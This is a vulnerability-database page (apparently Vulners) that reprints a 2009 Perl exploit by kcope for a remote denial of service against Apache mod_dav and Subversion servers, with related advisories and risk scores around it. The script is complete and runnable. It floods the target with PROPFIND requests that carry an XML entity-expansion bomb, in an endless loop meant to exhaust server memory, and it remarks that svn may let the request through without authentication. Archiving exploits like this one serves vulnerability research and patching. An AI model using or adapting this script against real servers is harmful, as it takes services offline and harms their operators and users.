Apache mod_dav / svn - Remote Denial of Service
| Reporter | Title | Published | Views | Family All 139 |
|---|---|---|---|---|
| Apache < 2.2.12 Multiple Vulnerabilities | 3 Aug 200900:00 | – | nessus | |
| IBM WebSphere Application Server < 6.1.0.27 Multiple Vulnerabilities | 23 Sep 200900:00 | – | nessus | |
| Mac OS X 10.6 < 10.6.2 Multiple Vulnerabilities | 10 Nov 200900:00 | – | nessus | |
| Apache < 2.2.12 Multiple Vulnerabilities | 3 Aug 200900:00 | – | nessus | |
| Mac OS X 10.6 < 10.6.2 Multiple Vulnerabilities | 10 Nov 200900:00 | – | nessus | |
| Apache 2.2.x < 2.2.12 Multiple Vulnerabilities | 2 Aug 200900:00 | – | nessus | |
| CentOS 5 : apr-util (CESA-2009:1107) | 6 Jan 201000:00 | – | nessus | |
| CentOS 3 : httpd (CESA-2009:1108) | 18 Jun 200900:00 | – | nessus | |
| Debian DSA-1812-1 : apr-util - denial of service | 8 Jun 200900:00 | – | nessus | |
| Fedora 10 : apr-util-1.3.7-1.fc10 (2009-5969) | 25 Jun 200900:00 | – | nessus |
10
###furoffyourcat.pl
### Apache mod_dav / svn Remote Denial of Service Exploit
### by kcope / June 2009
###
### Will exhaust all system memory
### Needs Authentication on normal DAV
###
### This can be especially serious stuff when used against
### svn (subversion) servers!! Svn might let the PROPFIND slip through
### without authentication. bwhahaaha :o)
### use at your own risk!
##################################################################
use IO::Socket;
use MIME::Base64;
sub usage {
print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "usage: perl furoffyourcat.pl <remotehost> <webdav folder> [username] [password]\n";
print "example: perl furoffyourcat.pl svn.XXX.com /projects/\n";exit;
}
if ($#ARGV < 1) {usage();}
$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$username = $ARGV[2];
$password = $ARGV[3];
$|=1;
$BasicAuth = encode_base64("$username:$password");
chomp $BasicAuth;
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => 80,
Proto => 'tcp');
print $sock "PROPFIND $webdavfile HTTP/1.1\r\n";
print $sock "Host: $hostname\r\n";
print $sock "Depth: 0\r\n";
print $sock "Connection: close\r\n";
if ($username ne "") {
print $sock "Authorization: Basic $BasicAuth\r\n";
}
print $sock "\r\n";
$x = <$sock>;
print $x;
if (!($x =~ /207/)) {
while(<$sock>) {
print;
}
close($sock);
print "No PROPFIND on this server and path.\n";
exit(0);
}
$a = "";
for ($i=1;$i<256;$i++) { # Here you can increase the XML bomb count
$k = $i-1;
$a .= "<!ENTITY x$i \"&x$k;&x$k;\">\n"
}
$igzml =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ELEMENT REMOTE ANY>\n"
."<!ENTITY x0 \"foobar\">\n"
.$a
."]>\n"
."<REMOTE>\n"
."&x$k;\n"
."</REMOTE>\n";
print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "Launching DoS Attack...\n";
$ExploitRequest =
"PROPFIND $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n"
."Depth: 0\r\n";
if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($igzml)."\r\n\r\n" . $igzml;
while(1) {
again:
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => 80,
Proto => 'tcp') || (goto again);
print $sock $ExploitRequest;
print ";Pp";
}
# milw0rm.com [2009-06-01]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jun 2009 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 25
CVSS 3.17.5
EPSS0.52988